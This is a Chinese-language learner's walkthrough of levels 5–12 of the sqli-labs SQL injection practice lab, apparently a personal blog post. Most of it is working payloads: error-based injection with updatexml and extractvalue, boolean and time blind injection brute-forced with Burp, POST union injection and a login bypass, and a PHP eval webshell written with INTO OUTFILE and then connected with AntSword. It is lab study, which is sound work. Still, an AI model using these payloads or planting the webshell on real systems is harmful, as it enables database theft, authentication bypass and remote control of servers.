sqli-labs闯关续(5--12)
前言
Web题中SQL注入是最重要的类型之一。之前只是简单的了解， SQL注入对于我这样的新手来说可能会有一点难度，当时学的时候学习了sqli-labs的前四关，现在重新捡起，继续打。
第五关
目前我了解到两种方法。
第一种方法——报错型注入
旧方法
肯定是有注入的，所以判断是否有注入就省去了。判断闭合符号是单引号
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
可报错并显示出数据库。
显示表名，
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+
爆列名
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))--+
爆数据：
?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users),0x7e),1))--+
没显示完，还有下一步，再爆后面的数据，用mid函数。
?id=1' and (updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32),0x7e),1))--+
新get
还有一个语句可以实现，看到了就顺便总结下来：
爆数据库名：
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名，可以通过limit函数爆出目标数据表名：
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
爆列名，同样是用limit函数进行选择列爆破：
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆数据值：
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
第二种——盲注
判断数据库长度
?id=1' and length(database())>0--+
?id=1' and length(database())=8--+
数据库长度判断出来，下一步爆库名
?id=1' and ascii(substr(database(),1,1)=83)--+
这样判断太慢，直接burp爆破就行，之前尝试的burp爆破是一个post类型，这次是get类型，所以就再总结一下
?id=1' and ascii(substr((select database() limit 1,1),1,1))=100--+
设置好开始爆破
然后放到一个转ascii码的小工具里转换
可以爆出数据库名。
其他的只需改动语句，爆破方式一样。只是比较慢。
脚本暂时还不会写，先放着，学会了再补充。
第六关
双引号闭合，其他的与第五关相同，照抄OK。
第七关
对于我来说时一种新的注入方式，
判断闭合符号。
?id=1'))
闭合符号是')),试着上传一句话木马，
路径不知道，先拿个简单关查看下路径（做题的时候要靠自己找，刚了解到，我也没见过这类题，所以见到再说）
payload
?id=-1 union select 1,@@basedir,@@datadir --+
payload
?id=1')) union select 1,2,'<?php @eval($_POST["lxj"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\lxj.php"--+
回显报错了,看师傅们的博客是：虽然报错了，但是在本地文件是可以看到上传成功的，可是为什么我的就没有。
奇怪，啥都没有。再百度看了好几篇博客，终于找到了解决办法，是我本地的mysql没有写入权限。所以没有办法上传成功，解决办法也是尝试过好几遍才对了。
解决办法如下：
打开mysql目录找到my.in这个文件，
打开这个文件：添加secure-file-priv =""保存
一般出现没有写入权限的问题的应该就是缺少了。直接加一个就行。（反正我的是没有这句话。）只针对这一种情况，其他的不好说。
然后再重新写入php文件，但是再看还是没有任何东西，然后又查百度，找了三四遍博客终于让我找到了我错在哪里了。原来就是一个低级错误，保存之后记得重新启动mysql。再次上传php就行。
这次就上传成功了。
运行一下看看，
可以，那就用菜刀或者蚁剑连接。
http://127.0.0.1/sqli-labs-master/Less-13/
添加成功，连上了。
查看一下
ok木得问题，过关。
第八关
这道题是布尔盲注
看题目单引号闭合，试一下
但是这道题可以使用第七关的方法上传一个木马，用蚁剑或菜刀连接。步骤略，看结果
看了可以，那就不管它了。
在回头说盲注，盲注是布尔盲注，可以用手注，也可以用burp爆破。跟第五关差不多，不再重复
第九关
看题是基于单引号闭合的时间盲注
反正也没事试一遍，发现确实是不管payload是什么，都会回显You are in ......
想起来之前第九关和第十关差不多，第十关以前总结过，再回头看一下。就不再重新写一遍了。
只是第十关是双引号闭合，其他的一样，没什么差别。
额咳咳，出于好奇，我又闲着试试，第九关能不能传入木马，结果还真成功了
啊哈，意外之喜。第十关应该也行。
第十关
只标题。就试试可不可以传入木马就行了，顺便连接一下。
蚁剑连接
成功了，开心哈。
第十一关
从这一关往后是post类型的注入。之前只了解过万能密码
随便输入账户密码都输入admin，登录成功。
然后再输入账户lalala密码1234，发现有报错，
这就能证明本关的确是报错注入。
第一种姿势
万能密码
username：admin'#，密码随意。
爆数据库
admin' and extractvalue(1,concat(0x7e,database(),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
两句均可，就全部记了下来，网上大佬的博客很多，不同的姿势也好几个，这里暂时总结几种我学会的吧。
爆数据表名
admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#
limit决定爆哪个表
第三个表爆出users，可进行下一步，爆列名
admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select username from users limit 1,1),0x7e))#
limit决定爆哪个信息
第二种姿势
随便构造账户名和密码。然后进行抓包
发送到Repeater
uname=admin' and 1=1%23 &passwd=1234&submit=Submit
爆数据库名
uname=0' union select 1,database()%23 &passwd=admin&submit=Submit
爆表名
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit
爆出四张表，然后根据前几关的套路可查询users
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit
同时查询username和password。
uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit
得到这么多数据。get！！
第十二关
闭合方式不同，此关是双引号闭合。步骤与十一关相同。
先学习到这里，沉淀一下，消化消化新知识。继续加油！
